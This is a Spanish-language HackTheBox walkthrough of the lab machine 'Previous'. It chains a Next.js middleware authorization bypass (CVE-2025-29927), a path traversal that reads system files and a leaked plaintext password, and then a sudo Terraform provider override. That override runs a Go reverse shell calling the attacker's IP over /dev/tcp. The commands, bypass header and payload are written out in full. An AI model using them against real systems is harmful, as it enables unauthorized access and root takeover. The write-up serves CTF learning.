Previous – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar previous


Resumen Link to heading

“Previous” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima está corriendo un servidor web con una versión de Next.js vulnerable a CVE-2025-29927, la cual es una vulnerabilidad de tipo Authorization Bypass. Esto nos permite saltarnos la autenticación para una API la cual también es vulnerable a Path Traversal, permitiéndonos leer archivos del sistema. Eventualmente, encontramos un archivo de configuración de Next.js la cual contiene una contraseña en texto plano para un usuario válido la cual a su vez da acceso inicial a la máquina por SSH. Una vez dentro, podemos ver que podemos ejecutar Hashicorp Terraform como un usuario privilegiado del sistema. Luego de manipular algunos archivos de configuración para aquella herramienta, logramos ejecutar un binario malicioso como un usuario privilegiado cuando el script principal es inicializado, ganando así control del sistema.


User / Usuario Link to heading

Empezamos buscando por puertos TCP abiertos con Nmap en la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.83

Encontramos así 2 puertos abiertos: 22 SSH y 80 HTTP.

Aplicamos algunos scripts de reconocimiento sobre estos peurtos utilizando la flag -sVC con Nmap, obteniendo así:

❯ sudo nmap -sVC -p22,80 10.10.11.83

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 00:01 -04
Nmap scan report for 10.10.11.83
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.72 seconds

Del output podemos ver que el puerto 80 HTTP redirige al sitio http://previous.htb.

Por tanto, agregamos aquel dominio junto con la IP de la máquina víctima a nuestro archivo /etc/hosts:

❯ echo '10.10.11.83 previous.htb' | sudo tee -a /etc/hosts

Usando WhatWeb contra el sitio http://previous.htb muestra:

❯ whatweb -a 3 http://previous.htb

http://previous.htb [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]

Tenemos un mail de contacto jeremy@previous.htb. Además, el server está corriendo sobre Nginx y Next.js.

Si visitamos http://previous.htb en un navegador de internet tenemos:

Previous 1

Clickeando en el botón Get Started somos redirigidos a un panel de login:

Previous 2

Pero no tenemos credenciales de momento.

De igual manera, utilizando una extensión para el navegador de internet como Wappalyzer éste muestra la versión de Next.js:

Previous 3

Buscando por next.js 15.2.2 vulnerability encontramos este blog explicando que esta versión es vulnerable a un Authorization Bypass, una vulnerabilidad catalogada como CVE-2025-29927. Allí, los autores proveen el PoC:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Pero primero debemos de encontrar dónde podría funcionar esta vulnerabilidad.

Para este propósito podemos inicializar Burpsuite e interceptar las peticiones enviadas cuando tratamos de loguearnos en el napel previamente hallado. En este caso, dado que el usuario jeremy existe, uso aquel usuario y una password aleatoria. Interceptamos así la siguiente petición HTTP por POST a un endpoint llamado /api:

POST /api/auth/callback/credentials HTTP/1.1
Host: previous.htb
Content-Length: 215
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://previous.htb
Referer: http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=b7ca425c3ceb915dfc04c5bc2825db07a95da3adf06ac46758244ace7ee9ab0f%7C02a340bc3b219bd352382d4b1bdf6817b9b8e7941f96a5557cf7c4aa5c7b3251; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Connection: keep-alive

username=jeremy&password=test&redirect=false&csrfToken=b7ca425c3ceb915dfc04c5bc2825db07a95da3adf06ac46758244ace7ee9ab0f&callbackUrl=http%3A%2F%2Fprevious.htb%2Fapi%2Fauth%2Fsignin%3FcallbackUrl%3D%252Fdocs&json=true

Donde como respuesta obtenemos:

HTTP/1.1 401 Unauthorized
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 05 Sep 2025 04:34:04 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 91
Connection: keep-alive
Set-Cookie: next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000; Path=/; HttpOnly; SameSite=Lax
ETag: "jyqpen6ypr2j"
Vary: Accept-Encoding

{"url":"http://localhost:3000/api/auth/error?error=CredentialsSignin&provider=credentials"}

Incluso agregando el header malicioso la respuesta es la misma 401 Unauthorized:

POST /api/auth/callback/credentials HTTP/1.1
Host: previous.htb
Content-Length: 215
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://previous.htb
Referer: http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
Accept-Encoding: gzip, deflate, br
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Cookie: next-auth.csrf-token=b7ca425c3ceb915dfc04c5bc2825db07a95da3adf06ac46758244ace7ee9ab0f%7C02a340bc3b219bd352382d4b1bdf6817b9b8e7941f96a5557cf7c4aa5c7b3251; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Connection: keep-alive

username=jeremy&password=test&redirect=false&csrfToken=b7ca425c3ceb915dfc04c5bc2825db07a95da3adf06ac46758244ace7ee9ab0f&callbackUrl=http%3A%2F%2Fprevious.htb%2Fapi%2Fauth%2Fsignin%3FcallbackUrl%3D%252Fdocs&json=true

Por lo que debemos de hallar algún endopint en donde se utilice Next.JS para autenticarse y el header malicioso permita bypassearlo.

Para ello empezamos a buscar por directorios en el directorio /api a través de un Brute Force Directory Listing con Gobuster. Si sólo buscamos por directorios en /api encontramos bastantes de ellos:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://previous.htb/api -x js -t 40 --exclude-length 74 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          74
[+] User Agent:              gobuster/3.6
[+] Extensions:              js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.gitkeep.js          (Status: 307) [Size: 49] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.gitkeep.js]
/.git-rewrite.js      (Status: 307) [Size: 53] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.git-rewrite.js]
/.bashrc              (Status: 307) [Size: 45] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.bashrc]
/.git_release.js      (Status: 307) [Size: 53] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.git_release.js]
/.bash_history.js     (Status: 307) [Size: 54] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.bash_history.js]
/.bash_history        (Status: 307) [Size: 51] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.bash_history]
/.git/logs/           (Status: 308) [Size: 14] [--> /api/.git/logs]
/.cache.js            (Status: 307) [Size: 47] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.cache.js]
/.gitignore           (Status: 307) [Size: 48] [--> /api/auth/signin?callbackUrl=%2Fapi%2F.gitignore]
<SNIP>

Esto ya que todos redirigen a:

/api/auth/signin?callbackUrl=<file>

Sin embargo, si utilizamos el header malicioso vemos que no somos redireccionados:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://previous.htb/api -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -x js -t 40 --exclude-length 74 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          74
[+] User Agent:              gobuster/3.6
[+] Extensions:              js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/logs/           (Status: 308) [Size: 14] [--> /api/.git/logs]
/cgi-bin/             (Status: 308) [Size: 12] [--> /api/cgi-bin]
/download             (Status: 400) [Size: 28]
/render/https://www.google.com (Status: 308) [Size: 33] [--> /api/render/https:/www.google.com]
/render/https://www.google.com.js (Status: 308) [Size: 36] [--> /api/render/https:/www.google.com.js]
Progress: 9488 / 9490 (99.98%)
===============================================================
Finished
===============================================================

Hay un endpoint /api/download; por lo que parece que el header malicioso ha funcionado para bypassear la autenticación contra la API.

Si revisamos este endpoint (usando también el header malicioso) con cURL vemos que éste endpoint puede ser utilizado para descargar archivos:

❯ curl -s 'http://previous.htb/api/download' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

{"error":"Invalid filename"}

Por lo que buscamos por un parámetro válido con ffuf el cual permite descargarnos el archivo /etc/passwd de la máquina víctima (si es que, a su vez, es vulnerable a Path Traversal):

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u 'http://previous.htb/api/download?FUZZ=../../../../../../etc/passwd'  -fs 110-140 -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?FUZZ=../../../../../../etc/passwd
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 110-140
________________________________________________

example                 [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 280ms]
:: Progress: [4744/4744] :: Job [1/1] :: 128 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

Obtenemos un parámetro válido: example.

Revisamos si podemos leer archivos del sistema:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Funcionó. Efectivamente tenemos un Path Traversal el cual nos permite leer archivos del sistema.

Además de root, tenemos otro usuario llamado node:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' | grep sh$

root:x:0:0:root:/root:/bin/sh
node:x:1000:1000::/home/node:/bin/sh

Podemos empezar a buscar por información. No podemos encontrar (o leer) una llave SSH para el usuario node. Por ende, inspeccionamos los procesos siendo ejecutados revisando el directorio /proc/self. Más específicamente podemos revisar /proc/self/cmdline y /proc/self/environ. Ya que ambos archivos son considerados binarios, utilizamos -o- con cURL para mostrar el output en consola.

Para /proc/self/cmdline obtenemos:

❯ curl -o- 'http://previous.htb/api/download?example=../../../../../../proc/self/cmdline' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

next-server (v

Y para /proc/self/environ obtenemos:

❯ curl -o- 'http://previous.htb/api/download?example=../../../../../../proc/self/environ' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

NODE_VERSION=18.20.8HOSTNAME=0.0.0.0YARN_VERSION=1.22.22SHLVL=1PORT=3000HOME=/home/nextjsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNEXT_TELEMETRY_DISABLED=1PWD=/appNODE_ENV=production

O embelleciendo el output:

❯ curl -s -o- 'http://previous.htb/api/download?example=../../../../../../proc/self/environ' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' | tr '\000' '\n'

NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production

Esto nos apunta dónde debería estar localizada la aplicación. Esto sólo nos dice que el directorio raíz del aplicativo debería ser /app.

Si visitamos la página web de Next.js buscando por la estructura de proyectos encontramos que debería de existir un archivo next.config.js. Pero no podemos leer este archivo:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../app/.next/next.config.js' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

{"error":"File not found"}

No obstante, el archivo package.json sí existe, por lo que la aplicación debería estar efectivamente en el directorio /app:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../app/package.json' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

Pero nada más allá de esto.

Luego de otra leve investigación, encontramos esta documentación de Next.js para desplegar. Allí, hablan de un directorio .next/server/pages. Debería de existir un archivo routes-manifest.json dentro del directorio .next, dado que este archivo es un archivo crucial al momento de construir el aplicativo. Leyendo este archivo retorna algo:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
<SNIP>

Hay una página/archivo /api/auth/[...nextauth].

Aunque tratando de leerla con cURL esto no funciona:

❯ curl 'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/[...nextauth]' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

curl: (3) bad range specification in URL position 93:
http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/[...nextauth]

Esto puede deberse ya que los caracteres [ y ] son interpretados por cURL.

Podemos tratar de URL-encodear estos caracteres para arreglar esto:

❯ curl 'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

{"error":"File not found"}

Pero sigue sin funcionar.

Si vamos a la documentación de NextAuth.js, este debería ser un archivo .js. Por tanto, leemos aquel archivo:

/app/.next/server/pages/api/auth/[...nextauth].js

Recordando url-encodear los caracteres [ and ] funciona esta vez:

❯ curl -s 'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

Es un script de JavaScript.

Podemos ir a una página como https://beautifier.io/, copiar el código de la terminal, pasarlo a la página y “embellecerlo”. Así es como podemos ver la porción de código:

<SNIP>
authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
                            id: "1",
                            name: "Jeremy"
                        } : null
<SNIP>

Hay un usuario jeremy (el cual ya habíamos obtenido de la página web) y una contraseña MyNameIsJeremyAndILovePancakes.

Revisamos si esta contraseña funciona para el servicio SSH con NetExec:

❯ nxc ssh previous.htb -u jeremy -p 'MyNameIsJeremyAndILovePancakes'

SSH         10.10.11.83     22     previous.htb     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.10.11.83     22     previous.htb     [+] jeremy:MyNameIsJeremyAndILovePancakes  Linux - Shell access!

Funciona.

Por tanto, logueamos como el usuario jeremy en la máquina víctima usando el servicio SSH:

❯ sshpass -p 'MyNameIsJeremyAndILovePancakes' ssh -o stricthostkeychecking=no jeremy@previous.htb

<SNIP>
Last login: Fri Sep 5 06:10:23 2025 from 10.10.16.10
jeremy@previous:~$

Podemos extraer la flag de usuario.


Root Link to heading

Este usuario puede ejecutar un comando con sudo:

jeremy@previous:~$ sudo -l

[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Éste puede ejecutar HashiCorp Terraform como root.

Información
HashiCorp Terraform is an open-source Infrastructure as Code (IaC) tool that allows users to define and provision data center infrastructure using a declarative configuration language. It enables the management of a wide range of resources, including virtual machines, networks, storage, and other infrastructure components, across various cloud providers.
En corto, es una herraminta que permite definir y gestionar recursos de infraestructura (tanto en nube como en local).

La flag -chdir\=/opt/examples apply le dice al binario que éste debe ser ejeecutado en el directorio /opt/examples. Esto es de cierta manera equivalente a:

cd /opt/examples && /usr/bin/terraform apply

Por lo que podemos buscar por maneras de escalar privilegios con HashiCorp Terraform. Para ello lo que haremos será crear un binario Go, compilarlo, pasarlo a la máquina víctima y encontrar una manera de que Terraform apunte a este binario.

Primero revisamos el directorio /opt/examples:

jeremy@previous:~$ ls -la /opt/examples

total 28
drwxr-xr-x 3 root root 4096 Sep  5 06:39 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Sep  5 06:39 terraform.tfstate

Hay un archivo main.tf, cuyo contenido es:

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path

Está definiendo como ruta fuente previous.htb/terraform/examples.

Sabiendo esto, en nuestra máquina de atacantes creamos un simple binario en Go el cual nos enviará una reverse shell. Primero iniciamos un projecto en Go en un directorio en nuestra máquina de atacantes:

❯ go mod init rev

Y creamos un archivo con contenido:

package main

import (
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1")
	cmd.Run()
}

Donde 10.10.16.10 es nuestra IP de máquina de atacantes y 443 el puerto en el cual estaremos en escucha con netcat, y guardamos el archivo como rev.go.

Finalmente compilamos el archivo, el cual llamaremos rev-terraform:

❯ GOOS=linux GOARCH=amd64 go build -o rev-terraform rev.go

En la máquina víctima creamos un directorio en donde guardaremos el payload/binario malicioso:

jeremy@previous:~$ mkdir -p /tmp/poc

Transferimos el payload/binario generado con Go usando scp y las credenciales de jeremy:

❯ sshpass -p 'MyNameIsJeremyAndILovePancakes' scp ./rev-terraform jeremy@previous.htb:/tmp/poc/rev-terraform

Y le damos permisos de ejecución en la máquina víctima:

jeremy@previous:~$ chmod +x /tmp/poc/rev-terraform

Ahora es cuando podemos tratar de jugar con variables de entorno en Terraform. Una interesante es llamada TF_CLI_CONFIG_FILE, dado que ésta puede ser utilizada para definir el archivo de configuración de Terraform y modificar así algunos parámetros. Más específicamente, podemos usar el bloque provider_installation junto con el bloque dev_override para sobreescribir un valor (reemplazar un string por otro). esto significa que podemos reemplazar previous.htb/terraform/examples (el cual estaba en el archivo main.tf) por /tmp/poc el directorio como sigue:

provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/poc"
  }
  direct {}
}

Y guardarlo como /tmp/.terraformrc. En mi caso creé un archivo con el contenido de arriba en mi máquina de atacante y lo transferí a la máquina víctima usando scp:

❯ sshpass -p 'MyNameIsJeremyAndILovePancakes' scp ./.terraformrc jeremy@previous.htb:/tmp/.terreformrc

Empezamos un listener con netcat por el puerto 443 tal cual hemos definido en nuestro payload:

❯ nc -lvnp 443

listening on [any] 443 ...

Y ejecutamos el exploit:

jeremy@previous:~$ chmod +x /tmp/.terraformrc

jeremy@previous:~$ export TF_CLI_CONFIG_FILE=/tmp/.terraformrc

jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
│ Warning: Provider development overrides are in effect
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp/poc
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
│ Error: Failed to load plugin schemas
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to
│ instantiate provider "previous.htb/terraform/examples" to obtain schema: could not find executable file starting with terraform-provider-examples..

Fallo ya que, tal cual dice el output, éste no pudo encontrar un ejecutable llamado terraform-provider-examples.

No hay problema. Simplemente cambiamos el nombre del binario rev-terraform a terraform-provider-examples y ejecutamos el comando de nuevo:

jeremy@previous:~$ mv /tmp/poc/rev-terraform /tmp/poc/terraform-provider-examples

jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply

Esta vez obtenemos una conexión como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.83] 35998
root@previous:/opt/examples# whoami

whoami
root

GG. Podemos extraer la flag de root en el directorio /root.

~Happy Hacking.